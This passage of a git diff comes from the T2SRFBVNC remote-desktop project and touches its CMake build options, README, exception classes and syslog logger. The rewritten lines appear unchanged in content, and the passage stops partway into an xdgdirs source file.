if(ENABLE_SELINUX) + if(ENABLE_SELINUX STREQUAL "AUTO") + find_package(SELinux) + else() + find_package(SELinux REQUIRED) + endif() + if(SELINUX_FOUND) + add_definitions("-DHAVE_SELINUX") + endif() + endif() +endif() + +# check for systemd support (socket activation) +if(UNIX AND NOT APPLE) + trioption(ENABLE_SYSTEMD "Enable systemd support") + if(ENABLE_SYSTEMD) + if(ENABLE_SYSTEMD STREQUAL "AUTO") + find_package(Systemd) + else() + find_package(Systemd REQUIRED) + endif() + if (SYSTEMD_FOUND) + add_definitions(-DHAVE_LIBSYSTEMD) + endif() + endif() +endif() + +# check for password pwquality check support +if(UNIX AND NOT APPLE) + trioption(ENABLE_PWQUALITY "Enable password pwquality check") + if(ENABLE_PWQUALITY) + if(ENABLE_PWQUALITY STREQUAL "AUTO") + find_package(PWQuality) + else() + find_package(PWQuality REQUIRED) + endif() + if(PWQUALITY_FOUND) + add_definitions(-DHAVE_PWQUALITY) + endif() + endif() +endif() + +# check for libraries needed for wayland support +if(UNIX AND NOT APPLE) + trioption(ENABLE_WAYLAND "Enable wayland support") + if(ENABLE_WAYLAND STREQUAL "AUTO") + find_package(GLib) + find_package(Gio) + find_package(Gobject) + + # Portals specific + find_package(PipeWire) + find_package(Uuid) + else() + find_package(GLib REQUIRED) + find_package(Gio REQUIRED) + find_package(Gobject REQUIRED) + + # Portals specific + find_package(PipeWire REQUIRED) + find_package(Uuid REQUIRED) + endif() + if(NOT GLIB_FOUND OR NOT GIO_FOUND OR NOT GOBJECT_FOUND OR NOT PIPEWIRE_FOUND + OR NOT UUID_FOUND) + set(ENABLE_WAYLAND 0) + message(WARNING "GLib, Gio, Gobject, PipeWire or Uuid NOT found. w0vncserver disabled.") + endif() +endif() + +find_package(GTest) + +# Generate config.h and make sure the source finds it +configure_file(config.h.in config.h) +add_definitions(-DHAVE_CONFIG_H) +include_directories(${CMAKE_BINARY_DIR}) + +include(cmake/StaticBuild.cmake) + +add_subdirectory(common) + +if(WIN32) + add_subdirectory(win) +else() + # No interest in building x related parts on Apple + if(NOT APPLE) + add_subdirectory(unix) + endif() +endif() + +if(ENABLE_NLS) + add_subdirectory(po) +endif() + +if(BUILD_VIEWER) + add_subdirectory(vncviewer) + add_subdirectory(media) +endif() + +add_subdirectory(tests) + + +if(BUILD_VIEWER) + add_subdirectory(release) +endif() + +# uninstall +configure_file("${CMAKE_SOURCE_DIR}/cmake/cmake_uninstall.cmake.in" + "cmake_uninstall.cmake" IMMEDIATE @ONLY) + +add_custom_target(uninstall COMMAND ${CMAKE_COMMAND} -P cmake_uninstall.cmake) + +libtool_generate_control_files() diff --git a/T2SRFB/README.rst b/T2SRFB/README.rst index 265c808..15be0fb 100644 --- a/T2SRFB/README.rst +++ b/T2SRFB/README.rst @@ -1,152 +1,152 @@ -About T2SRFBVNC -============== - -Virtual Network Computing (VNC) is a remote display system which allows you to -view and interact with a virtual desktop environment that is running on another -computer on the network. Using VNC, you can run graphical applications on a -remote machine and send only the display from these applications to your local -machine. VNC is platform-independent and supports a wide variety of operating -systems and architectures as both servers and clients. - -T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code -bases. T2SRFBVNC started as a next-generation development effort for TightVNC -on Unix and Linux platforms, but it split from its parent project in early 2009 -so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant -of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo -JPEG codec. - - -Legal -===== - -Incomplete and generally out of date copyright list:: - - Copyright (C) 1999 AT&T Laboratories Cambridge - Copyright (C) 2002-2005 RealVNC Ltd. - Copyright (C) 2000-2006 TightVNC Group - Copyright (C) 2005-2006 Martin Koegler - Copyright (C) 2005-2006 Sun Microsystems, Inc. - Copyright (C) 2006 OCCAM Financial Technology - Copyright (C) 2000-2008 Constantin Kaplinsky - Copyright (C) 2004-2017 Peter Astrand for Cendio AB - Copyright (C) 2010 Antoine Martin - Copyright (C) 2010 m-privacy GmbH - Copyright (C) 2009-2011 D. R. Commander - Copyright (C) 2009-2011 Pierre Ossman for Cendio AB - Copyright (C) 2004, 2009-2011 Red Hat, Inc. - Copyright (C) 2009-2025 T2SRFBVNC team - All Rights Reserved. - -This software is distributed under the GNU General Public Licence as published -by the Free Software Foundation. See the file LICENCE.TXT for the conditions -under which this software is made available. T2SRFBVNC also contains code from -other sources. See the Acknowledgements section below, and the individual -source files, for details of the conditions under which they are made -available. - - -All Platforms -============= - -All versions of T2SRFBVNC contain the following programs: - -* vncviewer - the cross-platform T2SRFBVNC Viewer, written using FLTK. - vncviewer connects to a VNC server and allows you to interact - with the remote desktop being displayed by the VNC server. The - VNC server can be running on a Windows or a Unix/Linux machine. - - -Windows-specific -================ - -The Windows version of T2SRFBVNC contains the following programs: - -* T2SRFB - the T2SRFBVNC server for Windows. T2SRFB allows a Windows desktop to - be accessed remotely using a VNC viewer. - -WARNING: T2SRFB is currently unmaintained and and may not function correctly. - -T2SRFB may not work if the Fast user switching or Remote desktop features are -in use. - - -Unix/Linux-specific (not Mac) -============================= - -The Unix/Linux version of T2SRFBVNC contains the following programs: - -* Xvnc - the T2SRFBVNC server for Unix. Xvnc is both a VNC server and an X - server with a "virtual" framebuffer. You should normally use the - vncserver service to start Xvnc. - -* vncpasswd - a program which allows you to change the VNC password used to - access your VNC server sessions (assuming that VNC authentication - is being used.) This command must be run to set a password before - using VNC authentication with any of the servers or services. - -* vncconfig - a program which is used to configure and control a running - instance of Xvnc. - -* x0vncserver - an inefficient VNC server which continuously polls any X - display, allowing it to be controlled via VNC. It is intended - mainly as a demonstration of a simple VNC server. - -It also contains the following systemd service: - -* vncserver@.service - a service to start a user session with Xvnc and one of - the desktop environments available on the system. - -ACKNOWLEDGEMENTS -================ - -This distribution contains public domain DES software by Richard Outerbridge. -This is: - - Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. - (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. - - -This distribution contains software from the X Window System. This is: - - Copyright 1987, 1988, 1998 The Open Group - - Permission to use, copy, modify, distribute, and sell this software and its - documentation for any purpose is hereby granted without fee, provided that - the above copyright notice appear in all copies and that both that - copyright notice and this permission notice appear in supporting - documentation. - - The above copyright notice and this permission notice shall be included in - all copies or substantial portions of the Software. - - THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR - IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, - FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE - OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN - AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN - CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. - - Except as contained in this notice, the name of The Open Group shall not be - used in advertising or otherwise to promote the sale, use or other dealings - in this Software without prior written authorization from The Open Group. - - - Copyright 1987, 1988 by Digital Equipment Corporation, Maynard, Massachusetts. - - All Rights Reserved - - Permission to use, copy, modify, and distribute this software and its - documentation for any purpose and without fee is hereby granted, - provided that the above copyright notice appear in all copies and that - both that copyright notice and this permission notice appear in - supporting documentation, and that the name of Digital not be - used in advertising or publicity pertaining to distribution of the - software without specific, written prior permission. - - DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING - ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL - DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR - ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, - WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, - ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS - SOFTWARE. +About T2SRFBVNC +============== + +Virtual Network Computing (VNC) is a remote display system which allows you to +view and interact with a virtual desktop environment that is running on another +computer on the network. Using VNC, you can run graphical applications on a +remote machine and send only the display from these applications to your local +machine. VNC is platform-independent and supports a wide variety of operating +systems and architectures as both servers and clients. + +T2SRFBVNC is a high-speed version of VNC based on the RealVNC 4 and X.org code +bases. T2SRFBVNC started as a next-generation development effort for TightVNC +on Unix and Linux platforms, but it split from its parent project in early 2009 +so that TightVNC could focus on Windows platforms. T2SRFBVNC supports a variant +of Tight encoding that is greatly accelerated by the use of the libjpeg-turbo +JPEG codec. + + +Legal +===== + +Incomplete and generally out of date copyright list:: + + Copyright (C) 1999 AT&T Laboratories Cambridge + Copyright (C) 2002-2005 RealVNC Ltd. + Copyright (C) 2000-2006 TightVNC Group + Copyright (C) 2005-2006 Martin Koegler + Copyright (C) 2005-2006 Sun Microsystems, Inc. + Copyright (C) 2006 OCCAM Financial Technology + Copyright (C) 2000-2008 Constantin Kaplinsky + Copyright (C) 2004-2017 Peter Astrand for Cendio AB + Copyright (C) 2010 Antoine Martin + Copyright (C) 2010 m-privacy GmbH + Copyright (C) 2009-2011 D. R. Commander + Copyright (C) 2009-2011 Pierre Ossman for Cendio AB + Copyright (C) 2004, 2009-2011 Red Hat, Inc. + Copyright (C) 2009-2025 T2SRFBVNC team + All Rights Reserved. + +This software is distributed under the GNU General Public Licence as published +by the Free Software Foundation. See the file LICENCE.TXT for the conditions +under which this software is made available. T2SRFBVNC also contains code from +other sources. See the Acknowledgements section below, and the individual +source files, for details of the conditions under which they are made +available. + + +All Platforms +============= + +All versions of T2SRFBVNC contain the following programs: + +* vncviewer - the cross-platform T2SRFBVNC Viewer, written using FLTK. + vncviewer connects to a VNC server and allows you to interact + with the remote desktop being displayed by the VNC server. The + VNC server can be running on a Windows or a Unix/Linux machine. + + +Windows-specific +================ + +The Windows version of T2SRFBVNC contains the following programs: + +* T2SRFB - the T2SRFBVNC server for Windows. T2SRFB allows a Windows desktop to + be accessed remotely using a VNC viewer. + +WARNING: T2SRFB is currently unmaintained and and may not function correctly. + +T2SRFB may not work if the Fast user switching or Remote desktop features are +in use. + + +Unix/Linux-specific (not Mac) +============================= + +The Unix/Linux version of T2SRFBVNC contains the following programs: + +* Xvnc - the T2SRFBVNC server for Unix. Xvnc is both a VNC server and an X + server with a "virtual" framebuffer. You should normally use the + vncserver service to start Xvnc. + +* vncpasswd - a program which allows you to change the VNC password used to + access your VNC server sessions (assuming that VNC authentication + is being used.) This command must be run to set a password before + using VNC authentication with any of the servers or services. + +* vncconfig - a program which is used to configure and control a running + instance of Xvnc. + +* x0vncserver - an inefficient VNC server which continuously polls any X + display, allowing it to be controlled via VNC. It is intended + mainly as a demonstration of a simple VNC server. + +It also contains the following systemd service: + +* vncserver@.service - a service to start a user session with Xvnc and one of + the desktop environments available on the system. + +ACKNOWLEDGEMENTS +================ + +This distribution contains public domain DES software by Richard Outerbridge. +This is: + + Copyright (c) 1988,1989,1990,1991,1992 by Richard Outerbridge. + (GEnie : OUTER; CIS : [71755,204]) Graven Imagery, 1992. + + +This distribution contains software from the X Window System. This is: + + Copyright 1987, 1988, 1998 The Open Group + + Permission to use, copy, modify, distribute, and sell this software and its + documentation for any purpose is hereby granted without fee, provided that + the above copyright notice appear in all copies and that both that + copyright notice and this permission notice appear in supporting + documentation. + + The above copyright notice and this permission notice shall be included in + all copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + OPEN GROUP BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN + AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN + CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. + + Except as contained in this notice, the name of The Open Group shall not be + used in advertising or otherwise to promote the sale, use or other dealings + in this Software without prior written authorization from The Open Group. + + + Copyright 1987, 1988 by Digital Equipment Corporation, Maynard, Massachusetts. + + All Rights Reserved + + Permission to use, copy, modify, and distribute this software and its + documentation for any purpose and without fee is hereby granted, + provided that the above copyright notice appear in all copies and that + both that copyright notice and this permission notice appear in + supporting documentation, and that the name of Digital not be + used in advertising or publicity pertaining to distribution of the + software without specific, written prior permission. + + DIGITAL DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING + ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL + DIGITAL BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR + ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, + WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, + ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS + SOFTWARE. diff --git a/T2SRFB/common/core/Exception.cxx b/T2SRFB/common/core/Exception.cxx index c8b7733..8e5cf31 100644 --- a/T2SRFB/common/core/Exception.cxx +++ b/T2SRFB/common/core/Exception.cxx @@ -1,134 +1,134 @@ -/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. - * Copyright (C) 2004 Red Hat Inc. - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright 2014-2024 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include -#include - -#include -#include - -#ifdef _WIN32 -#include -#include -#include -#else -#include -#endif - -#include - -using namespace core; - - -getaddrinfo_error::getaddrinfo_error(const char* s, int err_) noexcept - : std::runtime_error(core::format("%s: %s (%d)", s, - strerror(err_).c_str(), err_)), - err(err_) -{ -} - -getaddrinfo_error::getaddrinfo_error(const std::string& s, - int err_) noexcept - : std::runtime_error(core::format("%s: %s (%d)", s.c_str(), - strerror(err_).c_str(), err_)), - err(err_) -{ -} - -std::string getaddrinfo_error::strerror(int err_) const noexcept -{ -#ifdef _WIN32 - char str[256]; - - WideCharToMultiByte(CP_UTF8, 0, gai_strerrorW(err_), -1, str, - sizeof(str), nullptr, nullptr); - - return str; -#else - return gai_strerror(err_); -#endif -} - -posix_error::posix_error(const char* what_arg, int err_) noexcept - : std::runtime_error(core::format("%s: %s (%d)", what_arg, - strerror(err_).c_str(), err_)), - err(err_) -{ -} - -posix_error::posix_error(const std::string& what_arg, int err_) noexcept - : std::runtime_error(core::format("%s: %s (%d)", what_arg.c_str(), - strerror(err_).c_str(), err_)), - err(err_) -{ -} - -std::string posix_error::strerror(int err_) const noexcept -{ -#ifdef _WIN32 - char str[256]; - - WideCharToMultiByte(CP_UTF8, 0, _wcserror(err_), -1, str, - sizeof(str), nullptr, nullptr); - - return str; -#else - return ::strerror(err_); -#endif -} - -#ifdef WIN32 -win32_error::win32_error(const char* what_arg, unsigned err_) noexcept - : std::runtime_error(core::format("%s: %s (%d)", what_arg, - strerror(err_).c_str(), err_)), - err(err_) -{ -} - -win32_error::win32_error(const std::string& what_arg, - unsigned err_) noexcept - : std::runtime_error(core::format("%s: %s (%d)", what_arg.c_str(), - strerror(err_).c_str(), err_)), - err(err_) -{ -} - -std::string win32_error::strerror(unsigned err_) const noexcept -{ - wchar_t wstr[256]; - char str[256]; - - FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, - nullptr, err_, 0, wstr, sizeof(wstr), nullptr); - WideCharToMultiByte(CP_UTF8, 0, wstr, -1, str, - sizeof(str), nullptr, nullptr); - - int l = strlen(str); - if ((l >= 2) && (str[l-2] == '\r') && (str[l-1] == '\n')) - str[l-2] = 0; - - return str; -} -#endif +/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. + * Copyright (C) 2004 Red Hat Inc. + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright 2014-2024 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include + +#include +#include + +#ifdef _WIN32 +#include +#include +#include +#else +#include +#endif + +#include + +using namespace core; + + +getaddrinfo_error::getaddrinfo_error(const char* s, int err_) noexcept + : std::runtime_error(core::format("%s: %s (%d)", s, + strerror(err_).c_str(), err_)), + err(err_) +{ +} + +getaddrinfo_error::getaddrinfo_error(const std::string& s, + int err_) noexcept + : std::runtime_error(core::format("%s: %s (%d)", s.c_str(), + strerror(err_).c_str(), err_)), + err(err_) +{ +} + +std::string getaddrinfo_error::strerror(int err_) const noexcept +{ +#ifdef _WIN32 + char str[256]; + + WideCharToMultiByte(CP_UTF8, 0, gai_strerrorW(err_), -1, str, + sizeof(str), nullptr, nullptr); + + return str; +#else + return gai_strerror(err_); +#endif +} + +posix_error::posix_error(const char* what_arg, int err_) noexcept + : std::runtime_error(core::format("%s: %s (%d)", what_arg, + strerror(err_).c_str(), err_)), + err(err_) +{ +} + +posix_error::posix_error(const std::string& what_arg, int err_) noexcept + : std::runtime_error(core::format("%s: %s (%d)", what_arg.c_str(), + strerror(err_).c_str(), err_)), + err(err_) +{ +} + +std::string posix_error::strerror(int err_) const noexcept +{ +#ifdef _WIN32 + char str[256]; + + WideCharToMultiByte(CP_UTF8, 0, _wcserror(err_), -1, str, + sizeof(str), nullptr, nullptr); + + return str; +#else + return ::strerror(err_); +#endif +} + +#ifdef WIN32 +win32_error::win32_error(const char* what_arg, unsigned err_) noexcept + : std::runtime_error(core::format("%s: %s (%d)", what_arg, + strerror(err_).c_str(), err_)), + err(err_) +{ +} + +win32_error::win32_error(const std::string& what_arg, + unsigned err_) noexcept + : std::runtime_error(core::format("%s: %s (%d)", what_arg.c_str(), + strerror(err_).c_str(), err_)), + err(err_) +{ +} + +std::string win32_error::strerror(unsigned err_) const noexcept +{ + wchar_t wstr[256]; + char str[256]; + + FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, + nullptr, err_, 0, wstr, sizeof(wstr), nullptr); + WideCharToMultiByte(CP_UTF8, 0, wstr, -1, str, + sizeof(str), nullptr, nullptr); + + int l = strlen(str); + if ((l >= 2) && (str[l-2] == '\r') && (str[l-1] == '\n')) + str[l-2] = 0; + + return str; +} +#endif diff --git a/T2SRFB/common/core/Exception.h b/T2SRFB/common/core/Exception.h index 80980d5..8c2d2ce 100644 --- a/T2SRFB/common/core/Exception.h +++ b/T2SRFB/common/core/Exception.h @@ -1,75 +1,75 @@ -/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. - * Copyright (C) 2004 Red Hat Inc. - * Copyright (C) 2010 T2SRFBVNC Team - * Copyright 2015-2024 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifndef __CORE_EXCEPTION_H__ -#define __CORE_EXCEPTION_H__ - -#include -#include - -namespace core { - - class posix_error : public std::runtime_error { - public: - int err; - posix_error(const char* what_arg, int err_) noexcept; - posix_error(const std::string& what_arg, int err_) noexcept; - private: - std::string strerror(int err_) const noexcept; - }; - -#ifdef WIN32 - class win32_error : public std::runtime_error { - public: - unsigned err; - win32_error(const char* what_arg, unsigned err_) noexcept; - win32_error(const std::string& what_arg, unsigned err_) noexcept; - private: - std::string strerror(unsigned err_) const noexcept; - }; -#endif - -#ifdef WIN32 - class socket_error : public win32_error { - public: - socket_error(const char* what_arg, unsigned err_) noexcept : win32_error(what_arg, err_) {} - socket_error(const std::string& what_arg, unsigned err_) noexcept : win32_error(what_arg, err_) {} - }; -#else - class socket_error : public posix_error { - public: - socket_error(const char* what_arg, unsigned err_) noexcept : posix_error(what_arg, err_) {} - socket_error(const std::string& what_arg, unsigned err_) noexcept : posix_error(what_arg, err_) {} - }; -#endif - - class getaddrinfo_error : public std::runtime_error { - public: - int err; - getaddrinfo_error(const char* s, int err_) noexcept; - getaddrinfo_error(const std::string& s, int err_) noexcept; - private: - std::string strerror(int err_) const noexcept; - }; - -} - -#endif +/* Copyright (C) 2002-2005 RealVNC Ltd. All Rights Reserved. + * Copyright (C) 2004 Red Hat Inc. + * Copyright (C) 2010 T2SRFBVNC Team + * Copyright 2015-2024 Pierre Ossman for Cendio AB + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifndef __CORE_EXCEPTION_H__ +#define __CORE_EXCEPTION_H__ + +#include +#include + +namespace core { + + class posix_error : public std::runtime_error { + public: + int err; + posix_error(const char* what_arg, int err_) noexcept; + posix_error(const std::string& what_arg, int err_) noexcept; + private: + std::string strerror(int err_) const noexcept; + }; + +#ifdef WIN32 + class win32_error : public std::runtime_error { + public: + unsigned err; + win32_error(const char* what_arg, unsigned err_) noexcept; + win32_error(const std::string& what_arg, unsigned err_) noexcept; + private: + std::string strerror(unsigned err_) const noexcept; + }; +#endif + +#ifdef WIN32 + class socket_error : public win32_error { + public: + socket_error(const char* what_arg, unsigned err_) noexcept : win32_error(what_arg, err_) {} + socket_error(const std::string& what_arg, unsigned err_) noexcept : win32_error(what_arg, err_) {} + }; +#else + class socket_error : public posix_error { + public: + socket_error(const char* what_arg, unsigned err_) noexcept : posix_error(what_arg, err_) {} + socket_error(const std::string& what_arg, unsigned err_) noexcept : posix_error(what_arg, err_) {} + }; +#endif + + class getaddrinfo_error : public std::runtime_error { + public: + int err; + getaddrinfo_error(const char* s, int err_) noexcept; + getaddrinfo_error(const std::string& s, int err_) noexcept; + private: + std::string strerror(int err_) const noexcept; + }; + +} + +#endif diff --git a/T2SRFB/common/core/Logger_syslog.cxx b/T2SRFB/common/core/Logger_syslog.cxx index 4c187d5..307b50d 100644 --- a/T2SRFB/common/core/Logger_syslog.cxx +++ b/T2SRFB/common/core/Logger_syslog.cxx @@ -1,68 +1,68 @@ -/* Copyright (C) 2015 T2SRFBVNC - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -// -=- Logger_syslog.cxx - Logger instance for a syslog - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include -#include -#include - -#include -#include - -using namespace core; - - -Logger_Syslog::Logger_Syslog(const char* loggerName) - : Logger(loggerName) -{ - openlog(nullptr, LOG_CONS | LOG_PID, LOG_USER); -} - -Logger_Syslog::~Logger_Syslog() -{ - closelog(); -} - -void Logger_Syslog::write(int level, const char *logname, const char *message) -{ - // Convert our priority level into syslog level - int priority; - if (level >= LogWriter::LEVEL_DEBUG) { - priority = LOG_DEBUG; - } else if (level >= LogWriter::LEVEL_INFO) { - priority = LOG_INFO; - } else if (level >= LogWriter::LEVEL_STATUS) { - priority = LOG_NOTICE; - } else { - priority = LOG_ERR; - } - - syslog(priority, "%s: %s", logname, message); -} - -static Logger_Syslog logger("syslog"); - -void core::initSyslogLogger() -{ - logger.registerLogger(); -} +/* Copyright (C) 2015 T2SRFBVNC + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +// -=- Logger_syslog.cxx - Logger instance for a syslog + +#ifdef HAVE_CONFIG_H +#include +#endif + +#include +#include +#include + +#include +#include + +using namespace core; + + +Logger_Syslog::Logger_Syslog(const char* loggerName) + : Logger(loggerName) +{ + openlog(nullptr, LOG_CONS | LOG_PID, LOG_USER); +} + +Logger_Syslog::~Logger_Syslog() +{ + closelog(); +} + +void Logger_Syslog::write(int level, const char *logname, const char *message) +{ + // Convert our priority level into syslog level + int priority; + if (level >= LogWriter::LEVEL_DEBUG) { + priority = LOG_DEBUG; + } else if (level >= LogWriter::LEVEL_INFO) { + priority = LOG_INFO; + } else if (level >= LogWriter::LEVEL_STATUS) { + priority = LOG_NOTICE; + } else { + priority = LOG_ERR; + } + + syslog(priority, "%s: %s", logname, message); +} + +static Logger_Syslog logger("syslog"); + +void core::initSyslogLogger() +{ + logger.registerLogger(); +} diff --git a/T2SRFB/common/core/Logger_syslog.h b/T2SRFB/common/core/Logger_syslog.h index 4de334a..5c43ed5 100644 --- a/T2SRFB/common/core/Logger_syslog.h +++ b/T2SRFB/common/core/Logger_syslog.h @@ -1,41 +1,41 @@ -/* Copyright (C) 2015 T2SRFBVNC - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -// -=- Logger_syslog - log to syslog - -#ifndef __CORE_LOGGER_SYSLOG_H__ -#define __CORE_LOGGER_SYSLOG_H__ - -#include - -#include - -namespace core { - - class Logger_Syslog : public Logger { - public: - Logger_Syslog(const char* loggerName); - virtual ~Logger_Syslog(); - - void write(int level, const char *logname, const char *message) override; - }; - - void initSyslogLogger(); -}; - -#endif +/* Copyright (C) 2015 T2SRFBVNC + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +// -=- Logger_syslog - log to syslog + +#ifndef __CORE_LOGGER_SYSLOG_H__ +#define __CORE_LOGGER_SYSLOG_H__ + +#include + +#include + +namespace core { + + class Logger_Syslog : public Logger { + public: + Logger_Syslog(const char* loggerName); + virtual ~Logger_Syslog(); + + void write(int level, const char *logname, const char *message) override; + }; + + void initSyslogLogger(); +}; + +#endif diff --git a/T2SRFB/common/core/xdgdirs.cxx b/T2SRFB/common/core/xdgdirs.cxx index fcabd6f..606fbe8 100644 --- a/T2SRFB/common/core/xdgdirs.cxx +++ b/T2SRFB/common/core/xdgdirs.cxx @@ -1,162 +1,162 @@ -/* Copyright (C) 2010 TightVNC Team. All Rights Reserved. - * Copyright 2021-2023 Pierre Ossman for Cendio AB - * - * This is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This software is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this software; if not, write to the Free Software - * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, - * USA. - */ - -#ifdef HAVE_CONFIG_H -#include -#endif - -#include -#include -#include -#include - -#ifndef WIN32 